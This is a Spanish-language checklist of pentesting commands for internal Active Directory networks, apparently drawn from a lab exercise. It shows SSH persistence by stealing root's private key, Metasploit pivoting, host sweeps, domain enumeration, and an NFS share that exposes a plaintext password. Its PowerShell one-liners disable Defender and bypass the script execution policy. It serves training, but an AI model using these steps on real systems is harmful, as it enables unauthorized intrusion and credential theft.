En esta sección recogeré un checklist rápido de técnicas y comandos para auditar entornos Enterprise que puedan involucrar Active Directory en redes internas.
Le indica que lea un archivo con URLs o IPs objetivo línea por línea.
-d ILFREIGHT_subdomain_EyeWitness
Define el nombre de la carpeta de salida donde se almacenarán los resultados.
Enumeración y explotación web
Acceder a cada host encontrado y ver posibles formas de explotación:
Búsqueda de versiones y exploits públicos
Ver funcionalidades explotables
Analizar envío de formularios con Burp Suite
Persistencia Post Explotación
Una vez que hemos conseguido acceso a un objetivo, por ejemplo por SSH nuestro objetivo es crear persistencia para acceder en cualquier momento. Para ello:
Accedemos por SSH al objetivo
Elevamos privilegios a root en el host (para acceder siempre como root)
En el directorio /root accedemos a .ssh y copiamos el id_rsa en nuestro equipo atacante
Si el objetivo tiene permisos openssl (bastante común)
srvadm@dmz01:~$ sudo -l
Matching Defaults entries for srvadm on dmz01:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User srvadm may run the following commands on dmz01:
(ALL) NOPASSWD: /usr/bin/openssl
✅ Ahora tienes un id_rsa privado que puedes copiar a tu Kali para tener acceso persistente como root sin especificar una contraseña.
Acceso a redes internas
Localizar redes internas
Una vez que hemos accedido a un host podemos usar ifconfig en linux o ipconfig en windows para ver las redes disponibles. Las redes internas siempre suelen tener el formato 172.16.8.x o similar:
Debemos tener una sesión de Meterpreter abierta y llevarla al background
Ahora configuramos autoroute con Metasploit, indicándole la session y la subnet a la que queremos acceder, p.e. 172.16.8.0:
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> use post/multi/manage/autoroute
[msf](Jobs:0 Agents:1) post(multi/manage/autoroute) >> set SESSION 1
[msf](Jobs:0 Agents:1) post(multi/manage/autoroute) >> set subnet 172.16.8.0
[msf](Jobs:0 Agents:1) post(multi/manage/autoroute) >> run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[*] Running module against 10.129.203.111
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.18.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed
Una vez configurado el autoroute llevamos la session al background de nuevo y usamos el módulo de ping_sweep contra la subred interna:
(Meterpreter 1)(/tmp) > background
[msf](Jobs:0 Agents:1) post(multi/manage/autoroute) >> use post/multi/gather/ping_sweep
[msf](Jobs:0 Agents:1) post(multi/gather/ping_sweep) >> show options
Module options (post/multi/gather/ping_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes IP Range to perform ping sweep against.
SESSION yes The session to run this module on
[msf](Jobs:0 Agents:1) post(multi/gather/ping_sweep) >> set rhosts 172.16.8.0/23
[msf](Jobs:0 Agents:1) post(multi/gather/ping_sweep) >> set SESSION 1
[msf](Jobs:0 Agents:1) post(multi/gather/ping_sweep) >> run
[*] Performing ping sweep for IP range 172.16.8.0/23
[+] 172.16.8.3 host found
[+] 172.16.8.20 host found
[+] 172.16.8.50 host found
[+] 172.16.8.120 host found
Ping Sweep con bucle for
Cuando hemos accedido por SSH a un host o tenemos una reverse shell en el objetivo podemos ejecutar la siguiente línea para buscar hosts internos en la subred que le indiquemos, en este caso 172.16.8.x
root@dmz01:~# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=0.472 ms
64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=0.433 ms
64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=0.642 ms
Ping Sweep con Powershell
Si estamos dentro de un host Windows podemos hacer un ping sweep con Powershell. Esta técnica nos mostrará un True en los host activos dentro de la subred que le indiquemos, en este caso la segunda subred 172.16.9.x
Nmap scan report for 172.16.8.3
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
MAC Address: 00:50:56:94:99:09 (Unknown)
Nmap scan report for 172.16.8.20
Host is up (0.00060s latency).
Not shown: 1175 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open sunrpc
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
3389/tcp open ms-wbt-server
MAC Address: 00:50:56:94:D9:E6 (Unknown)
Nmap scan report for 172.16.8.50
Host is up (0.00072s latency).
Not shown: 1177 closed ports
PORT STATE SERVICE
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
8080/tcp open http-alt
MAC Address: 00:50:56:94:7D:23 (Unknown)
Enumerar Controlador de Dominio
Si encontramos un DC, como en este caso el 172.16.8.3 podemos enumerarlo con enum4linux-ng para intentar obtener usuarios o información del dominio:
sudo apt install enum4linux-ng
proxychains enum4linux-ng -U -P 172.16.8.3
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
ENUM4LINUX - next generation (v1.3.4)
===================================
| Listener Scan on 172.16.8.3 |
===================================
[*] Checking SMB
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:445 ... OK
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:139 ... OK
[+] SMB over NetBIOS is accessible on 139/tcp
=========================================================
| Domain Information via SMB session for 172.16.8.3 |
=========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[proxychains] Strict chain ... 127.0.0.1:8081 ... 172.16.8.3:445 ... OK
[+] Found domain information via SMB
NetBIOS computer name: DC01
NetBIOS domain name: INLANEFREIGHT
DNS domain: INLANEFREIGHT.LOCAL
FQDN: DC01.INLANEFREIGHT.LOCAL
Derived membership: domain member
Derived domain: INLANEFREIGHT
=======================================
| RPC Session Check on 172.16.8.3 |
=======================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user
[-] Could not establish random user session: STATUS_LOGON_FAILURE
===================================
| Users via RPC on 172.16.8.3 |
===================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
<---SNIP--->
Acceso a webs internas
Si hay algún servicio web expuesto en la red interna, como en este caso la 172.16.8.20:80 podemos acceder configurando el proxy en el navegador de la siguiente manera:
Listar y montar NFS (si está expuesto)
Nmap scan report for 172.16.8.20
Host is up (0.00060s latency).
Not shown: 1175 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open sunrpc
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs # <-------------------- # NFS expuesto
3389/tcp open ms-wbt-server
MAC Address: 00:50:56:94:D9:E6 (Unknown)
No podemos montar el recurso compartido NFS mediante Proxychains, pero tenemos acceso root al host dmz01 para ello. En este caso el directorio DNN contiene un archivo web.config que contiene credenciales para acceder al host que hemos encontrado: 172.16.8.20:80
root@dmz01:~# cd /tmp
root@dmz01:/tmp# mkdir DEV01
root@dmz01:/tmp# mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01
root@dmz01:/tmp# cd DEV01/
root@dmz01:/tmp/DEV01# ls
BuildPackages.bat CKToolbarButtons.xml DNN WatchersNET.CKEditor.sln
CKEditorDefaultSettings.xml CKToolbarSets.xml flag.txt
root@dmz01:/tmp/DEV01/DNN# cat web.config
<?xml version="1.0"?>
<configuration>
<!--
For a description of web.config changes see http://go.microsoft.com/fwlink/?LinkId=235367.
The following attributes can be set on the <httpRuntime> tag.
<system.Web>
<httpRuntime targetFramework="4.6.2" />
</system.Web>
-->
<username>Administrator</username>
<password>
<value>D0tn31Nuk3R0ck$$@123</value>
Enumeración con Powershell
# Enumera todos los usuarios del dominio
Get-ADUser -Filter * | Select Name
# Mapeo la red
Get-NetNeighbor | Where-Object {$_.State -eq "Reachable”}
# Ver administradores
net localgroup administrators
# Ver recursos compartidos de otro equipo
net view \\IP_del_equipo
# Muestra tu identidad, tokens y privilegios
whoami /all
# Ver archivos en los escritorios accesibles
dir \\equipo\C$\Users\*\Desktop
# Busca contraseñas en archivos
findstr /si password *.txt *.xml *.config
# Busca procesos sospechosos
Get-Process | Sort CPU -Descending
# Extrae el DNS cache
ipconfig /displaydns
# Desactiva el Defender
Set-MpPreference -DisableRealtimeMonitoring $true
# Descativa la política de ejecución de scripts
Set-ExecutionPolicy Bypass -Scope Process -Force